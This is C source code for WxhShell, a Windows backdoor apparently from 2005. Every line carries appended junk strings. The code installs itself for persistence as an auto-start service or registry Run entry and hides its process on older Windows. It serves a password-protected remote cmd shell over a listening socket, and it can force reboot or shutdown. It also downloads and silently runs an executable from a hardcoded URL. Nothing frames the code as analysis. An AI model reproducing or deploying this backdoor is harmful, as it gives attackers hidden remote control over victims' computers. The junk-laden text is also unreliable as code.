    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9>%ti&_-jt  
    if(Boot(SHUTDOWN)) r:<UV^; 9l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E\5t&jZr  
    else { !Mceg  
    closesocket(wsh); fC52nK&T8  
    ExitThread(0); 3 rV)JA  
    } #D&eov?  
    break; =rGjOb3+  
    } vEk jd#  
  // 获取shell g&) XaF[!  
  case 's': { G)G5eXXX  
    CmdShell(wsh); ?x=;?7  
    closesocket(wsh); LDx1@a|83  
    ExitThread(0); +.:- :  
    break; &V:iy  
  } #zyEN+  
  // 退出 )u`q41!  
  case 'x': { FTsvPLIv"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EE=!Y NP]  
    CloseIt(wsh); JT#jJ/^  
    break; d@JjqE[  
    } FQ2 6(.  
  // 离开 a^>0XXr}Y  
  case 'q': { TDq(%IW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S2'./!3yv  
    closesocket(wsh); .k|8nNj  
    WSACleanup(); ?zM]p"M  
    exit(1); xp.~i*!`  
    break; 3{O^q/R  
        } FIDV5Y/f  
  } +:+q,0~*]  
  } ^9UKsy/q  
HM /2/ /  
  // 提示信息 DKp+ nq$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >hQeu1 ~W  
} S=@.<gS  
  } ]nY,%XE  
wsYvbI!  
  return; Mj|\LF +  
} ZF!cXo7d  
w9Bbvr6  
// shell模块句柄 SvLI%>B=9  
int CmdShell(SOCKET sock) >08'+\~:b  
{ * G!C 'w\$  
STARTUPINFO si; XvETys@d  
ZeroMemory(&si,sizeof(si)); SfLZVB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; " N>~]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D,b'1=  
PROCESS_INFORMATION ProcessInfo; 3copJS  
char cmdline[]="cmd"; XEl-5-M"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;89 `!V O  
  return 0; T)? : q  
} h fZY5+Z<  
la+RK  
// 自身启动模式 E">FH >8K}  
int StartFromService(void) <[Oe.0SGu  
{ ia6%>^  
typedef struct P|*c7+q  
{ C@1B?OfJ  
  DWORD ExitStatus; ]-]K4*{   
  DWORD PebBaseAddress; B|XrjI?  
  DWORD AffinityMask; lLhvpvT  
  DWORD BasePriority; ;+jz=9Q-  
  ULONG UniqueProcessId; jMr[ UZ  
  ULONG InheritedFromUniqueProcessId; |C"(K-do  
}   PROCESS_BASIC_INFORMATION; yK9:LXhf  
BQTZt'p  
PROCNTQSIP NtQueryInformationProcess; |Lf>Z2E  
tqbYrF)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7vZtEwC)n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZEa31[@B[  
@ >_v/U'  
  HANDLE             hProcess; p?rh+0wgX  
  PROCESS_BASIC_INFORMATION pbi; |iSd<  
Z$jqB~=^e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]t0]fb[J  
  if(NULL == hInst ) return 0; o?5m^S14[1  
W'lejOiw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~j3O0s<gK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _[F(8Q x"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X\&CQiPS  
S7a05NO  
  if (!NtQueryInformationProcess) return 0; >V1vw7Pa  
+guCTGD:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e7tp4M9!%  
  if(!hProcess) return 0; ^I W5c>;|  
r)<c ~\0 7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gOb"-;Zw  
PzF>yG[  
  CloseHandle(hProcess); WAq! _xE  
[h&)h+xt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oD<aWZ"Z  
if(hProcess==NULL) return 0; "qh~wKJ  
{0L.,T~g+[  
HMODULE hMod; F-R5Ib-F*A  
char procName[255]; m4\e `nl  
unsigned long cbNeeded; D *=.;Rq  
yK+1C68A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eYtP396C|  
0nr5(4h  
  CloseHandle(hProcess); nMM:Tr  
~cr##Ff 5  
if(strstr(procName,"services")) return 1; // 以服务启动 iy!SqC  
2 o)8'Lp  
  return 0; // 注册表启动 d)>b/0CZ  
} fM/~k>wl  
L0\~ K~q  
// 主模块 xqSoE[<v  
int StartWxhshell(LPSTR lpCmdLine) ,F%2'W  
{ R<djW5()f  
  SOCKET wsl; i1dE.f ;  
BOOL val=TRUE; 8yCt(ms  
  int port=0; s@ 02 ?+/  
  struct sockaddr_in door; Uv)B  
7m$EZTw?  
  if(wscfg.ws_autoins) Install(); Z1}@N/>>  
iWGn4p'  
port=atoi(lpCmdLine); (zr2b  
=0t<:-?.-  
if(port<=0) port=wscfg.ws_port; :%[mc-6.  
/6 y9 u}  
  WSADATA data; F:7 d}Jx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '2z1$zst,#  
^V}c8 P|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]A=yj@o$xN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8/vGA=  
  door.sin_family = AF_INET; P+L#p(K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :X*$U ~aQ  
  door.sin_port = htons(port); S:lie*Aux*  
eC{St0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8AVtUU  
closesocket(wsl); kk>z,A4 h_  
return 1; CSwPL>tUV  
} mWUkkR(/  
XjXz#0nR  
  if(listen(wsl,2) == INVALID_SOCKET) { 9ls*L!Jw  
closesocket(wsl); v#|yr<  
return 1; K+\2cf?bU  
} }Y"vUl_I2  
  Wxhshell(wsl); ~_SRcM{  
  WSACleanup(); !$NQF/Ol  
4#,,_\r  
return 0; }  fa  
cJE4uL<  
} I@oSRB  
)DGJr/)  
// 以NT服务方式启动 EQtYb"_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k4PXH  
{ _WR/]1R  
DWORD   status = 0; <0!<T+JQ  
  DWORD   specificError = 0xfffffff; !k Heslvi  
X[!S7[d-y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Dz&,g+>$J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E!RlH3})  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sd%m{P2  
  serviceStatus.dwWin32ExitCode     = 0; ?bPW*A82{q  
  serviceStatus.dwServiceSpecificExitCode = 0; ]O>AD 6P  
  serviceStatus.dwCheckPoint       = 0; mp)+wZAN&  
  serviceStatus.dwWaitHint       = 0; @\r2%M-  
Y2IMHN tH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0|<9eD\I=  
  if (hServiceStatusHandle==0) return; naM~>N  
u#y#(1 =  
status = GetLastError(); LzxO=+=9!q  
  if (status!=NO_ERROR) c^rWS&)P  
{ &e78xtA{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "@^Q" RF  
    serviceStatus.dwCheckPoint       = 0;  |e<$  
    serviceStatus.dwWaitHint       = 0; "Zy:q'`o  
    serviceStatus.dwWin32ExitCode     = status; +cbF$,M4  
    serviceStatus.dwServiceSpecificExitCode = specificError; I$R1#s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {V pk o  
    return; mMvAA;  
  } :`4F0  
5KfrkZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !"o\H(siT  
  serviceStatus.dwCheckPoint       = 0; lMH~J8U3  
  serviceStatus.dwWaitHint       = 0; ~<-mxOe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F v*QcB9K  
} -k@1# c+z  
6$0<&')Yb  
// 处理NT服务事件,比如:启动、停止 5dhy80|g]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `!spi=f  
{ xHqF_10S#  
switch(fdwControl) WNZYs  
{ w3 kkam"  
case SERVICE_CONTROL_STOP: [?hvx}  
  serviceStatus.dwWin32ExitCode = 0; <W>A }}q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y mL{uV$  
  serviceStatus.dwCheckPoint   = 0; \#xq$ygg  
  serviceStatus.dwWaitHint     = 0; SQhVdYU1'  
  { :b*7TJ\grN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); //;(KmU9  
  } wdAKU+tM  
  return; 0}"\3EdAbD  
case SERVICE_CONTROL_PAUSE:  '6})L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PO8Z2"WI  
  break; j"'a5;Sy  
case SERVICE_CONTROL_CONTINUE: (~%NRH<\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d:w/{m% #  
  break; o&&`_"18  
case SERVICE_CONTROL_INTERROGATE: o[}Dj6e\t  
  break; z HvE_ -  
}; FZO&r60$E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2m]4  
} t0jE\6r  
8nu!5 3  
// 标准应用程序主函数 cc*?4C/t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Nf<f}`  
{ oe.Jm#?2.  
AT+ l%%   
// 获取操作系统版本 rdd-W>+  
OsIsNt=GetOsVer(); u:lBFVqk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VBQAkl?(}4  
d,N6~?B  
  // 从命令行安装 Sir1>YEm  
  if(strpbrk(lpCmdLine,"iI")) Install(); #*/nUbsg  
auc:|?H~1n  
  // 下载执行文件 }nX0h6+1  
if(wscfg.ws_downexe) { ;Z"MO@9:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gm2|`^Xq$  
  WinExec(wscfg.ws_filenam,SW_HIDE); $u.rO7)  
} Za1mI^ L1  
xT_"` @  
if(!OsIsNt) { N2U&TCc  
// 如果时win9x,隐藏进程并且设置为注册表启动 m3Wc};yE*Q  
HideProc(); >J3m ta3  
StartWxhshell(lpCmdLine); rP'%f 6  
} >n3GvZ5%  
else vR:#g;mnk  
  if(StartFromService()) ]|eMEN['  
  // 以服务方式启动 yQUrHxm  
  StartServiceCtrlDispatcher(DispatchTable); D{Nd2G  
else (kB  
  // 普通方式启动 XWAIW= .  
  StartWxhshell(lpCmdLine); b#p0s?*  
)K@D4sl  
return 0; v~Dobk/n  
} A r~/KRK  
U ->vk{v  
^8~TsK~  
hWbu Z%  
=========================================== &4|]VOf  
rgCC3TX  
~y"R{-%uS  
!{CIP`P1  
YT oG'#qs  
~&p]kmwXSX  
" 5I6?gv/  
TM{m:I:Z*n  
#include <stdio.h> *~6]IWN`  
#include <string.h> Cj3Xp~  
#include <windows.h> -M6vg4gf  
#include <winsock2.h> ";(m,i f-  
#include <winsvc.h> Z{B[r;  
#include <urlmon.h> okRt^qe  
OfBWf6b  
#pragma comment (lib, "Ws2_32.lib") *!"T^4DEg  
#pragma comment (lib, "urlmon.lib") y~#5!:Be  
Z"Hq{?l9  
#define MAX_USER   100 // 最大客户端连接数 U&B(uk(2  
#define BUF_SOCK   200 // sock buffer eyDI>7W  
#define KEY_BUFF   255 // 输入 buffer 2& Hl wpx  
]wV\=m?z&  
#define REBOOT     0   // 重启 "gI-S[  
#define SHUTDOWN   1   // 关机  8q9 ^  
tQ; Fgv8Y!  
#define DEF_PORT   5000 // 监听端口 lmoYQFkYP  
E5P.x^  
#define REG_LEN     16   // 注册表键长度 : c iwh  
#define SVC_LEN     80   // NT服务名长度 otjT ?R2g'  
"N%W5[C{  
// 从dll定义API ?UflK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y(rQ032s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cqh1,h$sG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5C`Vno~v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >/C,1}p[  
u{W I 4n?  
// wxhshell配置信息 u8A,f}D 3  
struct WSCFG { olo9YrHn  
  int ws_port;         // 监听端口 "0G)S'  
  char ws_passstr[REG_LEN]; // 口令 p,8:(|(  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2-g 5Gb2|  
  char ws_regname[REG_LEN]; // 注册表键名 0""%@X]m  
  char ws_svcname[REG_LEN]; // 服务名 6S%KUFB+e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =hh,yi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {2g?+8L$Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &{M-<M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f]Z9=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u`+kH8#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sV~|9/r  
]a~gnz&1  
}; <3k9 y^0  
i2O$oHd  
// default Wxhshell configuration `$;%%/tx  
struct WSCFG wscfg={DEF_PORT, k lr1"q7  
    "xuhuanlingzhe", XHuHbriI  
    1, J0@#xw=+  
    "Wxhshell", H0lAu]~R_W  
    "Wxhshell", ap|V}j C  
            "WxhShell Service", [ dVRVm0N  
    "Wrsky Windows CmdShell Service", ~|wh/]{b9  
    "Please Input Your Password: ", Dm;aTe  
  1, 3AuLRI  
  "http://www.wrsky.com/wxhshell.exe", JHVesX  
  "Wxhshell.exe" QN~9O^  
    }; NzID [8`  
zv\T;_  
// 消息定义模块 ^zS|O]Tx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +^aM(4K\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^MZ9Zu_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2 mvp|< "  
char *msg_ws_ext="\n\rExit."; Mg^3Y'{o  
char *msg_ws_end="\n\rQuit."; CM%;r5  
char *msg_ws_boot="\n\rReboot..."; 1,G f;mcQ  
char *msg_ws_poff="\n\rShutdown..."; { r8H5X  
char *msg_ws_down="\n\rSave to "; z"@UNypc,  
T 3 +lYE  
char *msg_ws_err="\n\rErr!"; @z.HyQ_v  
char *msg_ws_ok="\n\rOK!"; Xu5^ly8p9q  
-f[95Z3}  
char ExeFile[MAX_PATH]; 5./(n7d_  
int nUser = 0; lLeN`{?  
HANDLE handles[MAX_USER]; |S VL%agZ  
int OsIsNt; ]u O|YLWp  
W\yaovAt  
SERVICE_STATUS       serviceStatus; OOX}S1lA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =dI2j@}c  
ZzO.s$  
// 函数声明 c3aF lxW  
int Install(void); 7(= 09z  
int Uninstall(void); UzmD2A sO"  
int DownloadFile(char *sURL, SOCKET wsh); };;6706a  
int Boot(int flag); {5gh.  
void HideProc(void); ?wS/KEl=O  
int GetOsVer(void); HOAgRhzE  
int Wxhshell(SOCKET wsl); Wd_KZ}lX  
void TalkWithClient(void *cs); z@em1W0?Z  
int CmdShell(SOCKET sock); % g*AGu`  
int StartFromService(void); |nj,]pA  
int StartWxhshell(LPSTR lpCmdLine); p8MPn>h<  
[S!_ubP5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %CiZ>`5n#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L2 tSKw~  
tO ^KCnL  
// 数据结构和表定义 t<2B3&o1  
SERVICE_TABLE_ENTRY DispatchTable[] = 5}t}Wc8  
{ m2"~.iM8  
{wscfg.ws_svcname, NTServiceMain}, nZ2mY!*  
{NULL, NULL} PxHH h{y%c  
}; I=I'O?w  
m0 k~8^L@f  
// 自我安装 UjU*`}k3  
int Install(void) AGxG*KuZ  
{ &qP&=( $  
  char svExeFile[MAX_PATH]; 36U z fBa  
  HKEY key; )tyhf(p6  
  strcpy(svExeFile,ExeFile); 8E| Nf  
_*O^|QbM  
// 如果是win9x系统,修改注册表设为自启动 AG$S;)Yl9c  
if(!OsIsNt) { ,!s;o6|*y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o4"7i 9+g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KGsH3{r  
  RegCloseKey(key); jLs-v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _JjR= m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Je#vl4<L  
  RegCloseKey(key); }qf)L .  
  return 0; ?p8(Uc#73  
    } U h'1f7%  
  } CN$wlhs  
} =hO0 @w  
else { .(0'l@#fT  
Qf|=xV,F  
// 如果是NT以上系统,安装为系统服务 <"g ^V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !kl9X-IiI  
if (schSCManager!=0) I'h6!N"  
{ xi.L?"^/!  
  SC_HANDLE schService = CreateService w}<CH3cx  
  ( ESl-k2  
  schSCManager, ,[lS)`G  
  wscfg.ws_svcname, :1eJc2o  
  wscfg.ws_svcdisp, K>2mm!{  
  SERVICE_ALL_ACCESS, QGYO{S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DL5`A?/  
  SERVICE_AUTO_START, LP8Stj JP  
  SERVICE_ERROR_NORMAL, wr/Z)e =^3  
  svExeFile, U}55;4^LX  
  NULL, $DmWK_A  
  NULL, CF`tNA3fxm  
  NULL, P~V0<$C  
  NULL, !4 4)=xW  
  NULL 3McBTa!  
  ); 30(O]@f~  
  if (schService!=0) 5TqT`XTzm  
  { f-N:  
  CloseServiceHandle(schService); ;O*y$|+PA  
  CloseServiceHandle(schSCManager); M+X>!Os  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l  I&%^>  
  strcat(svExeFile,wscfg.ws_svcname); w z-9+VN6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w`(EW>i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ANNfL9:Jy  
  RegCloseKey(key); n{dl- P  
  return 0; NGD?.^ (G  
    } N5$L),?\y  
  } 1us-ootsjP  
  CloseServiceHandle(schSCManager); j$h.V#1z  
} >5{Z'UWxh  
} A2{u("^[6  
zkXG%I4h  
return 1; G3HmLz  
} };[~>Mzl  
>t|u 8/P  
// 自我卸载 $=7[.z&  
int Uninstall(void) TFbMrIF  
{ ^YddVp  
  HKEY key; wu5]S)?*  
8=rD'*  
if(!OsIsNt) { p2N;-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =W(mZ#*vdY  
  RegDeleteValue(key,wscfg.ws_regname); /3F4t V  
  RegCloseKey(key); Zgt:ZO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UPs*{m  
  RegDeleteValue(key,wscfg.ws_regname); T^3_d93}d  
  RegCloseKey(key); \|\ Dc0p}  
  return 0; eMk?#&a)  
  } 8<UD#i@:C  
} \F;V69'  
} }W{rDc kv  
else { vT)(#0>z  
"'us.t.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @= f2\hU  
if (schSCManager!=0) Y4cIYUSc  
{ 7%C6hEP/*W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x8i;uH\8  
  if (schService!=0) S '>(4a  
  { .LDK+c  
  if(DeleteService(schService)!=0) { cn&\q.!fh  
  CloseServiceHandle(schService); 0d!1;jy,T  
  CloseServiceHandle(schSCManager); vzl+0"  
  return 0; QXZjsa_|  
  } ?N2/;u>  
  CloseServiceHandle(schService); qgd#BJ=  
  } KE3/sw0  
  CloseServiceHandle(schSCManager); vL"U=Q+/eY  
} a+!#cQl  
} LaL.C^K  
lhsd 39NM  
return 1; +g8wc(<ik  
} PjriAlxD  
{2<A\nW  
// 从指定url下载文件 Ag1*.t|  
int DownloadFile(char *sURL, SOCKET wsh) /fCj;8T3o  
{ }LLnJl~Z  
  HRESULT hr; E)liuu! qI  
char seps[]= "/"; ("(:wYR%  
char *token; +JoE[;  
char *file; / sI0{  
char myURL[MAX_PATH]; :7&#ej6  
char myFILE[MAX_PATH]; pp{Za@j  
ssVO+ T  
strcpy(myURL,sURL); CAg\-*P|  
  token=strtok(myURL,seps); \DsP '-t  
  while(token!=NULL) K)5'Jp@  
  { @i`*i@g  
    file=token; v'Y)~Kv@!  
  token=strtok(NULL,seps); !~5;Jb>s[/  
  } o~7~S  
q]F2bo  
GetCurrentDirectory(MAX_PATH,myFILE); 49b#$Xq  
strcat(myFILE, "\\"); ~nk{\ rWO  
strcat(myFILE, file); PM3kI\:)m  
  send(wsh,myFILE,strlen(myFILE),0); FG.MV-G  
send(wsh,"...",3,0); lA[BV7.=7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fD1J@57  
  if(hr==S_OK) C.I.f9s?R  
return 0; -V@vY42  
else d~f_wN&r  
return 1; y.6D Z  
nG<_&h  
} (jYHaTL6Y'  
+ v.I|c  
// 系统电源模块 J7:VRf|,?(  
int Boot(int flag) 39| W(,  
{ 0ut/ ')[  
  HANDLE hToken; YCvIB'  
  TOKEN_PRIVILEGES tkp; *Dx&}"  
A:$Qt%c  
  if(OsIsNt) { ^|yw)N]Q/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PCzC8~t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~#/NpKHT@A  
    tkp.PrivilegeCount = 1; 4/Ub%t -  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'TWZ@8h~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r}k2n s9  
if(flag==REBOOT) { :o$k(X7a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ut8v&i1?  
  return 0; " `rkp=  
} E^kB|; Ki  
else { J^tLKTB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kSJWXNC  
  return 0; &'{6_-kh  
} Ne7HPSWiOP  
  } &''lOS|  
  else { ktlI(#\%  
if(flag==REBOOT) { d:08@~#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N!R>L{H>  
  return 0; \;&WF1d`ac  
} 1?:/8l%V  
else { _P6e%O8C#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lu~<pfg  
  return 0; Z$qLY<aV  
} ?N*m2rv  
} Nl~'W  
Ql`N)!  
return 1; IM-O<T6r[N  
} u.!}s2wT#  
QD6<sw@]P  
// win9x进程隐藏模块 "^/3?W>  
void HideProc(void) A HnXN%m  
{ y5>X0tT  
pC=kvve  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 44e:K5;]7  
  if ( hKernel != NULL ) p'SclH[   
  { [2h 4%{R&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ife/:v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [wp(s2=  
    FreeLibrary(hKernel); MaMP7O|W  
  } {lv@V*_Y0  
eK8y'VY  
return; d v8q&_  
} X*'i1)_h  
~w Ekbq=  
// 获取操作系统版本 r.WQ6h/eZ5  
int GetOsVer(void) n-djAhy  
{ w|t}.u  
  OSVERSIONINFO winfo; 1}=@';cK*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !>E$2}Q|]  
  GetVersionEx(&winfo); c&> S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l~mC$>f  
  return 1; $"e$#<g  
  else qDlh6W?}k  
  return 0; _bsAF^ ;  
} ;W~H|M  
zCz"[9k  
// 客户端句柄模块 SN#Cnu}  
int Wxhshell(SOCKET wsl) b8FSVV 7@  
{ L!| `IK  
  SOCKET wsh; dbe\ YE  
  struct sockaddr_in client; IjaFNZZC!  
  DWORD myID; !-tP\%'  
ro}WBv  
  while(nUser<MAX_USER) `f)X!S2l  
{ . DrGr:UW  
  int nSize=sizeof(client); %4$J.6M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0bz':M#k &  
  if(wsh==INVALID_SOCKET) return 1; Q8h0:Q  
qh~$AJ9sB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DeK&_)g| Z  
if(handles[nUser]==0) *8%nbR  
  closesocket(wsh); NG+%H1!$_  
else yg WwUpY  
  nUser++; M&SY2\\TB  
  } /ka "YU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZCAg)/  
k*u4N  
  return 0; Ewq7oq5:  
} werTwe2Q  
 i|!D  
// 关闭 socket p!/ *(TT  
void CloseIt(SOCKET wsh) @v~<E?Un  
{ VJbn/5+P  
closesocket(wsh); Yu+;vjbK-  
nUser--; 6^QSV@N|  
ExitThread(0); _m@+d>f_  
} 3kJ7aBiR<  
dTVh{~/  
// 客户端请求句柄 ' JAcN@q~z  
void TalkWithClient(void *cs) ^!7|B3`  
{ $wm8N.I3I  
cnL@j_mb  
  SOCKET wsh=(SOCKET)cs; zlhU[J}"1|  
  char pwd[SVC_LEN]; O_P8OA#|  
  char cmd[KEY_BUFF]; )U +Pt98"  
char chr[1]; \E8CC>Jd  
int i,j; [&5%$ T  
_zG[b/:p  
  while (nUser < MAX_USER) { 1#V&'A  
?'mi6jFFh  
if(wscfg.ws_passstr) { t-Zk)*d/0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O[5u6heNMr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "vF7b|I  
  //ZeroMemory(pwd,KEY_BUFF); vq8&IL  
      i=0; pIgjo>K  
  while(i<SVC_LEN) { E>&oe&`o'  
[ J6q(} f  
  // 设置超时 (;2]`D [x  
  fd_set FdRead; EViDMp"  
  struct timeval TimeOut; ~+anI  
  FD_ZERO(&FdRead); nD!5I@D  
  FD_SET(wsh,&FdRead); yr q){W  
  TimeOut.tv_sec=8; Yg! xlrxA  
  TimeOut.tv_usec=0; de q L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L=)Arj@q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B'-L-]\H  
oF=UjA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (T8dh|  
  pwd=chr[0]; o0FVVSl  
  if(chr[0]==0xd || chr[0]==0xa) { 9RnXp&w  
  pwd=0; B+n(K+  
  break; i1-wzI  
  } 11BfJvs:  
  i++; (nt=  
    } hC2_Yr>N%  
O_|p{65  
  // 如果是非法用户,关闭 socket @WO>F G3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vF .Ml  
} 9p%8VDF=  
J/ZC<dkYQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #( o(p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &?#!%Ds  
2R`/Oox   
while(1) { 3PRK.vf  
Ukg iSv+  
  ZeroMemory(cmd,KEY_BUFF); L7 g4'  
Cl'3I%$8K  
      // 自动支持客户端 telnet标准   @ Yzc?+x  
  j=0; VQ'DNv| 9  
  while(j<KEY_BUFF) { a!*K)x,"<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P'p5-l UK  
  cmd[j]=chr[0]; e2*Fe9:  
  if(chr[0]==0xa || chr[0]==0xd) { RMO6kbfP  
  cmd[j]=0; 7 J+cs^2  
  break; &Ez]pKjB  
  } E@D}Sqt  
  j++; D$/*Z5Z)]  
    } Kk<MS$Ov  
?R\:6x<  
  // 下载文件 HzD=F3\r|  
  if(strstr(cmd,"http://")) { 4&/m>%r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F]7$Y  
  if(DownloadFile(cmd,wsh)) fk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )kuw&SH,  
  else kKil] L  
